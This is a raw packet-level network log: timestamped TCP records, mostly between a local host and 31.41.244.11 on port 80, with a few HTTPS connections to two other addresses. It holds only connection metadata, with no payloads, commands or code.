Dec 20, 2024 02:11:31.434389114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.434518099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.434556007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.434603930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.435039997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.435059071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.435113907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.435774088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.435837030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.435867071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.435930967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.436435938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.436499119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.436568975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.436623096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.437145948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.437213898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.437346935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.437401056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.437863111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.437918901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.437957048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.438011885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.438546896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.438618898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.438711882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.438795090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.439230919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.439286947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.439341068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.439420938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.439928055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.439985037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.440042973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.440318108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.440639973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.440699100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.440908909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.440964937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.441349983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.441404104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.441510916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.441620111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.441982031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.442044020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.442094088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.442162991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.442738056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.442791939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.442838907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.442893982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.443391085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.443458080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.443531990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.443728924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.444096088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.444155931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.444319963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.444371939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.444753885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.444813967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.444869041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.445009947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.445477962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.445538044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.445547104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.445607901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.446183920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.446248055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.446284056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.446413040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.446892977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.446949959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.446980953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.447029114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.447567940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.447727919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.447735071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.447776079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.448240995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.448304892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.448354006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.448419094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.448966980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.449037075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.449074030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.449126005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.449672937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.449714899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.449719906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.449789047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.450390100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.450443029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.450473070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.450531960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.451044083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.451100111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.451127052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.451255083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.451761007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.451821089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.451920986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.451980114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.452464104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.452514887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.452572107 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.452616930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.453141928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.453258991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.453315973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.453840971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.453901052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.453959942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.454090118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.454564095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.454621077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.454660892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.454725027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.455250978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.455303907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.455396891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.455583096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.455935001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.456001043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.456048012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.456111908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.456578970 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.456587076 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:31.456633091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.456681013 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:31.458218098 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:31.458247900 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:31.458750010 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:31.459990025 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:31.460163116 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:31.460186005 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:31.588059902 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:31.588145971 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:31.589126110 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:31.589173079 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:31.589394093 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:31.590962887 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:31.591167927 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:31.591207981 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:31.612363100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.612430096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.612457037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.612560987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.612588882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.612653017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.612734079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.612785101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.612894058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.612988949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.613432884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.613487959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.613584042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.613637924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.614115000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.614166975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.614228010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.614293098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.614825964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.614881039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.614923954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.614978075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.615530014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.615614891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.615648031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.615699053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.616208076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.616261959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.616384029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.616494894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.616909981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.616965055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.617027998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.617082119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.617608070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.617669106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.617712975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.617765903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.618323088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.618379116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.618417025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.618633032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.619016886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.619093895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.619126081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.619170904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.619724035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.619777918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.619853020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.619905949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.620400906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.620452881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.620497942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.620560884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.621123075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.621191025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.621248007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.621876001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.621931076 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.622014046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.622085094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.622692108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.622749090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.622772932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.622828007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.623224974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.623281956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.623326063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.623420000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.623908997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.623964071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.624001980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.624196053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.624598026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.624661922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.624758959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.624819994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.625299931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.625360012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.625396013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.625446081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.626012087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.626087904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.626127958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.626183987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.626735926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.626818895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.626836061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.626889944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.627368927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.627441883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.627482891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.627580881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.628074884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.628134012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.628177881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.628231049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.628765106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.628849983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.628865957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.628901005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.629463911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.629509926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.629560947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.629612923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.630160093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.630264044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.630316973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.630851984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.630913973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.630970955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.631033897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.631568909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.631619930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.631675005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.631727934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.632256985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.632312059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.632350922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.632529974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.632951021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.633007050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.633059025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.633234024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.633641005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.633693933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.633753061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.633855104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.634342909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.634444952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.634481907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.634540081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.635047913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.635133028 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.635144949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.635198116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.635751963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.635848999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.635862112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.635915041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.636437893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.636611938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.636850119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.636903048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.637135983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.637181044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.637217999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.637276888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.637860060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.637912989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.637952089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.638005018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.638515949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.638562918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.638637066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.638685942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.639229059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.639282942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.639328957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.639383078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.639926910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.639992952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.640022039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.640074015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.640635014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.640687943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.640737057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.640788078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.641326904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.641415119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.641470909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.642014980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.642064095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.642108917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.642201900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.642819881 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.642858028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.642870903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.642900944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.643424988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.643485069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.643567085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.643618107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.644093990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.644153118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.644190073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.644243002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.644802094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.644860029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.644912004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.644964933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.645519018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.645534992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.645576000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.645610094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.646197081 CET	80	49875	31.41.244.11	192.168.2.5
